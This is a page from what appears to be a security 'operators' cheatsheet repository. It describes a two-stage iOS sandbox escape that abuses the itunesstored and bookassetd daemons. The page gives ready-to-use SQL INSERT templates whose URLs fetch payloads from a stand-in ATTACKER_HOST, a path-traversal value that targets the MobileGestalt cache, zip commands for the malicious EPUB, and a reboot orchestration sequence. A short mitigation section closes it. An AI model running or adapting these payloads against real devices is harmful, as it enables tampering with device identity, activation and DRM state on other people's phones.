daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

itunesstored-bookassetd-sandbox-escape.md (11795B)


      1 ---
      2 title: "itunesstored and bookassetd Sandbox Escape"
      3 section: "Mobile"
      4 sectionSlug: "mobile-pentesting"
      5 sourcePath: "src/mobile-pentesting/ios-pentesting/itunesstored-bookassetd-sandbox-escape.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/mobile-pentesting/ios-pentesting/itunesstored-bookassetd-sandbox-escape.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # `itunesstored` and `bookassetd` Sandbox Escape
     14 
     15 ## Overview
     16 
     17 Recent research shows that two pre-installed iOS daemons, **`itunesstored`** (download manager) and **`bookassetd`** (Books/iBooks asset manager), blindly trust user-writable SQLite metadata. By dropping crafted `downloads.28.sqlitedb` and `BLDatabaseManager.sqlite` files plus a minimal EPUB archive, an attacker who can write under `/var/mobile/Media/` can coerce these daemons into **arbitrary file writes across most `mobile`-owned paths inside `/private/var/`**. The primitives survive reboots and let you tamper with system-group caches such as `systemgroup.com.apple.mobilegestaltcache` to spoof device properties or persist configuration.<sup>[[1]](#references)</sup>
     18 
     19 Key properties:<sup>[[1]](#references)</sup>
     20 
     21 - Works on devices up to at least **iOS 26.2b1** (tested on iPhone 12 / iOS 26.0.1).
     22 - Writable targets include `SystemGroup` caches, `/private/var/mobile/Library/FairPlay`, `/private/var/mobile/Media`, and other `mobile`-owned files. Writes to `root`-owned files fail.
     23 - Needs only AFC-level access (USB file copy) or any foothold that lets you replace the target SQLite DBs and upload payloads.
     24 
     25 ## Threat Model & Requirements
     26 
     27 1. **Local filesystem access** to `/var/mobile/Media/Downloads/` and `/var/mobile/Media/Books/` (via AFC clients like 3uTools, i4.cn, or [`afcclient`](https://github.com/emonti/afcclient) over USB, or any prior compromise).
     28 2. **HTTP server** hosting attacker files (`BLDatabaseManager.sqlite`, `iTunesMetadata.plist`, crafted EPUB) exposed through URLs such as `https://ATTACKER_HOST/fileprovider.php?type=...`.
     29 3. Ability to **reboot the device multiple times** to make each daemon reload its database.
     30 4. Knowledge of the **Books system-group UUID** so the Stage 1 write lands in the right container (found via syslog).<sup>[[1]](#references)</sup>
     31 
     32 ## Stage 1 – Abusing `downloads.28.sqlitedb` via `itunesstored`
     33 
     34 `itunesstored` processes `/var/mobile/Media/Downloads/downloads.28.sqlitedb`. The `asset` table stores URL + destination metadata and is treated as trusted input. Crafting a row that points to an attacker URL and sets `local_path` to `.../Documents/BLDatabaseManager/BLDatabaseManager.sqlite` inside the Books SystemGroup causes `itunesstored` to download and overwrite the Books database with attacker content on boot.<sup>[[1]](#references)</sup>
     35 
     36 ### Locate the Books SystemGroup UUID
     37 
     38 1. Collect a syslog archive with [`pymobiledevice3`](https://github.com/doronz88/pymobiledevice3):
     39    ```bash
     40    pymobiledevice3 syslog collect logs.logarchive
     41    ```
     42 2. Open `logs.logarchive` in **Console.app** and search for `bookassetd [Database]: Store is at file:///private/var/containers/Shared/SystemGroup/<UUID>/Documents/BLDatabaseManager/BLDatabaseManager.sqlite`.
     43 3. Record `<UUID>` and substitute it in the SQL payload.
     44 
     45 ### Malicious `asset` row
     46 
     47 <details>
     48 <summary>Stage 1 INSERT template</summary>
     49 
     50 ```sql
     51 INSERT INTO "main"."asset" (
     52   "pid","download_id","asset_order","asset_type","bytes_total",
     53   "url","local_path","destination_url","path_extension","retry_count",
     54   "http_method","initial_odr_size","is_discretionary","is_downloaded",
     55   "is_drm_free","is_external","is_hls","is_local_cache_server",
     56   "is_zip_streamable","processing_types","video_dimensions",
     57   "timeout_interval","store_flavor","download_token","blocked_reason",
     58   "avfoundation_blocked","service_type","protection_type",
     59   "store_download_key","etag","bytes_to_hash","hash_type","server_guid",
     60   "file_protection","variant_id","hash_array","http_headers",
     61   "request_parameters","body_data","body_data_file_path","sinfs_data",
     62   "dpinfo_data","uncompressed_size","url_session_task_id"
     63 ) VALUES (
     64   1234567890,6936249076851270150,0,'media',NULL,
     65   'https://ATTACKER_HOST/fileprovider.php?type=sqlite',
     66   '/private/var/containers/Shared/SystemGroup/<UUID>/Documents/BLDatabaseManager/BLDatabaseManager.sqlite',
     67   NULL,'epub',6,'GET',NULL,0,0,0,1,0,0,0,0,
     68   NULL,60,NULL,466440000,0,0,0,0,'',NULL,NULL,0,
     69   NULL,NULL,NULL,X'62706c6973743030a1015f1020...',NULL,NULL,NULL,NULL,NULL,NULL,0,1
     70 );
     71 ```
     72 
     73 </details>
     74 
     75 **Fields that matter:**
     76 
     77 - `url`: attacker-controlled endpoint returning the malicious `BLDatabaseManager.sqlite`.
     78 - `local_path`: Books system-group `BLDatabaseManager.sqlite` file determined above.
     79 - Control flags: keep defaults (`asset_type='media'`, `path_extension='epub'`, booleans set to 0/1 as in the template) so the daemon accepts the task.
     80 
     81 ### Deployment
     82 
     83 1. Delete stale `/var/mobile/Media/Downloads/*` entries to avoid races.
     84 2. Replace `downloads.28.sqlitedb` with the crafted DB via AFC.
     85 3. Reboot → `itunesstored` downloads the Stage 2 database and drops `/var/mobile/Media/iTunes_Control/iTunes/iTunesMetadata.plist`.
     86 4. Copy that plist to `/var/mobile/Media/Books/iTunesMetadata.plist`; Stage 2 expects it at that location.
     87 
     88 ## Stage 2 – Abusing `BLDatabaseManager.sqlite` via `bookassetd`
     89 
     90 `bookassetd` owns broader filesystem entitlements and trusts the `ZBLDOWNLOADINFO` table. By inserting a fake purchase row that references attacker URLs and a traversal in `ZPLISTPATH`, the daemon downloads your EPUB to `/var/mobile/Media/Books/asset.epub` and later unpacks metadata into **any `mobile`-owned path reachable through `../../..` escape sequences**.<sup>[[1]](#references)</sup>
     91 
     92 ### Malicious `ZBLDOWNLOADINFO` row
     93 
     94 <details>
     95 <summary>Stage 2 INSERT template</summary>
     96 
     97 ```sql
     98 INSERT INTO "ZBLDOWNLOADINFO" (
     99   "Z_PK","Z_ENT","Z_OPT","ZACCOUNTIDENTIFIER","ZCLEANUPPENDING",
    100   "ZFAMILYACCOUNTIDENTIFIER","ZISAUTOMATICDOWNLOAD","ZISLOCALCACHESERVER",
    101   "ZISPURCHASE","ZISRESTORE","ZISSAMPLE","ZISZIPSTREAMABLE",
    102   "ZNUMBEROFBYTESTOHASH","ZPERSISTENTIDENTIFIER","ZPUBLICATIONVERSION",
    103   "ZSERVERNUMBEROFBYTESTOHASH","ZSIZE","ZSTATE","ZSTOREIDENTIFIER",
    104   "ZSTOREPLAYLISTIDENTIFIER","ZLASTSTATECHANGETIME","ZPURCHASEDATE",
    105   "ZSTARTTIME","ZARTISTNAME","ZARTWORKPATH","ZASSETPATH",
    106   "ZBUYPARAMETERS","ZCANCELDOWNLOADURL","ZCLIENTIDENTIFIER",
    107   "ZCOLLECTIONARTISTNAME","ZCOLLECTIONTITLE","ZDOWNLOADID",
    108   "ZDOWNLOADKEY","ZENCRYPTIONKEY","ZEPUBRIGHTSPATH","ZFILEEXTENSION",
    109   "ZGENRE","ZHASHTYPE","ZKIND","ZMD5HASHSTRINGS","ZORIGINALURL",
    110   "ZPERMLINK","ZPLISTPATH","ZSALT","ZSUBTITLE","ZTHUMBNAILIMAGEURL",
    111   "ZTITLE","ZTRANSACTIONIDENTIFIER","ZURL","ZRACGUID","ZDPINFO",
    112   "ZSINFDATA","ZFILEATTRIBUTES"
    113 ) VALUES (
    114   1,2,3,0,0,0,0,'',NULL,NULL,NULL,NULL,
    115   0,0,0,NULL,4648,2,'765107108',NULL,
    116   767991550.119197,NULL,767991353.245275,NULL,NULL,
    117   '/private/var/mobile/Media/Books/asset.epub',
    118   'productType=PUB&salableAdamId=765107106&...',
    119   'https://p19-buy.itunes.apple.com/...',
    120   '4GG2695MJK.com.apple.iBooks','Sebastian Saenz','Cartas de Amor a la Luna',
    121   '../../../../../../private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library',
    122   NULL,NULL,NULL,NULL,'Contemporary Romance',NULL,'ebook',NULL,NULL,NULL,
    123   '/private/var/mobile/Media/Books/iTunesMetadata.plist',NULL,
    124   'Cartas de Amor a la Luna','https://ATTACKER_HOST/fileprovider.php?type=gestalt',
    125   'Cartas de Amor a la Luna','J19N_PUB_190099164604738',
    126   'https://ATTACKER_HOST/fileprovider.php?type=gestalt2',NULL,NULL,NULL,NULL
    127 );
    128 ```
    129 
    130 </details>
    131 
    132 Important fields:
    133 
    134 - `ZASSETPATH`: on-disk EPUB location controlled by the attacker.
    135 - `ZURL`/`ZPERMLINK`: attacker URLs hosting the EPUB and auxiliary plist.
    136 - `ZPLISTPATH`: `../../../../../private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library` – the **path traversal base** appended to files extracted from the EPUB. Adjust traversal depth to reach the desired SystemGroup target.
    137 - Purchase metadata (`ZSTOREIDENTIFIER`, names, timestamps) mimic legitimate entries so the daemon does not discard the row.
    138 
    139 After copying the malicious DB into `/private/var/containers/Shared/SystemGroup/<UUID>/Documents/BLDatabaseManager/BLDatabaseManager.sqlite` (courtesy of Stage 1) and rebooting twice, `bookassetd` will (1) download the EPUB, (2) process it and write the derived plist under the traversed path.
    140 
    141 ## Crafting the EPUB Payload
    142 
    143 `bookassetd` respects the EPUB ZIP format: `mimetype` must be the first uncompressed entry. To map EPUB contents to the MobileGestalt cache, build a directory tree that mirrors the desired path relative to `ZPLISTPATH`.<sup>[[1]](#references)</sup>
    144 
    145 ```text
    146 Caches/
    147 ├── mimetype
    148 └── com.apple.MobileGestalt.plist
    149 ```
    150 
    151 Create the archive:
    152 
    153 ```bash
    154 zip -X0 hax.epub Caches/mimetype
    155 zip -Xr9D hax.epub Caches/com.apple.MobileGestalt.plist
    156 ```
    157 
    158 - `mimetype` typically contains the literal `application/epub+zip`.
    159 - `Caches/com.apple.MobileGestalt.plist` holds the attacker-controlled payload that will land at `.../Library/Caches/com.apple.MobileGestalt.plist`.
    160 
    161 ## Orchestration Workflow
    162 
    163 1. **Prepare files** on the attacker HTTP server and craft both SQLite DBs with host/UUID-specific values.
    164 2. **Replace `downloads.28.sqlitedb`** on the device and reboot → Stage 1 downloads the malicious `BLDatabaseManager.sqlite` and emits `/var/mobile/Media/iTunes_Control/iTunes/iTunesMetadata.plist`.
    165 3. **Copy `iTunesMetadata.plist`** to `/var/mobile/Media/Books/iTunesMetadata.plist` (repeat if the daemon deletes it).
    166 4. **Reboot again** → `bookassetd` downloads `asset.epub` to `/var/mobile/Media/Books/` using Stage 2 metadata.
    167 5. **Reboot a third time** → `bookassetd` processes the downloaded asset, follows `ZPLISTPATH`, and writes the EPUB contents into the targeted SystemGroup path (e.g., `com.apple.MobileGestalt.plist`).
    168 6. **Verify** by reading the overwritten plist or observing that MobileGestalt-derived properties (model identifier, activation flags, etc.) change accordingly.
    169 
    170 The same pattern lets you drop files under other `mobile`-owned caches, such as FairPlay state or persistence directories, enabling stealthy tampering without needing a kernel exploit.
    171 
    172 ## Tooling & Operational Notes
    173 
    174 - **`pymobiledevice3 syslog collect logs.logarchive`** – extract log archives to discover the Books SystemGroup UUID.
    175 - **Console.app** – filter for `bookassetd [Database]: Store is at ...` to recover the exact container path.
    176 - **AFC clients (`afcclient`, 3uTools, i4.cn)** – push/pull SQLite DBs and plist files over USB without jailbreak.
    177 - **`zip`** – enforce EPUB ordering constraints when packaging payloads.
    178 - **Public PoC** – <https://github.com/hanakim3945/bl_sbx> ships baseline SQLite/EPUB templates you can customize.<sup>[[2]](#references)</sup>
    179 
    180 ## Detection & Mitigation Ideas
    181 
    182 - Treat `downloads.28.sqlitedb` and `BLDatabaseManager.sqlite` as untrusted input: validate that `local_path` / `ZPLISTPATH` stay within approved sandboxes and reject fully qualified paths or traversal tokens.
    183 - Monitor for AFC writes that replace these databases or for unexpected downloads initiated by `itunesstored` / `bookassetd` shortly after boot.
    184 - Harden `bookassetd` unpacking to `realpath()` the output target and ensure it cannot escape the Books container before writing files.
    185 - Restrict AFC / USB file copy channels or require user interaction before allowing replacement of Books/iTunes metadata files.
    186 
    187 ## References
    188 
    189 - [1] [itunesstored & bookassetd sbx escape](https://hanakim3945.github.io/posts/download28_sbx_escape/)
    190 - [2] [bl_sbx PoC repository](https://github.com/hanakim3945/bl_sbx)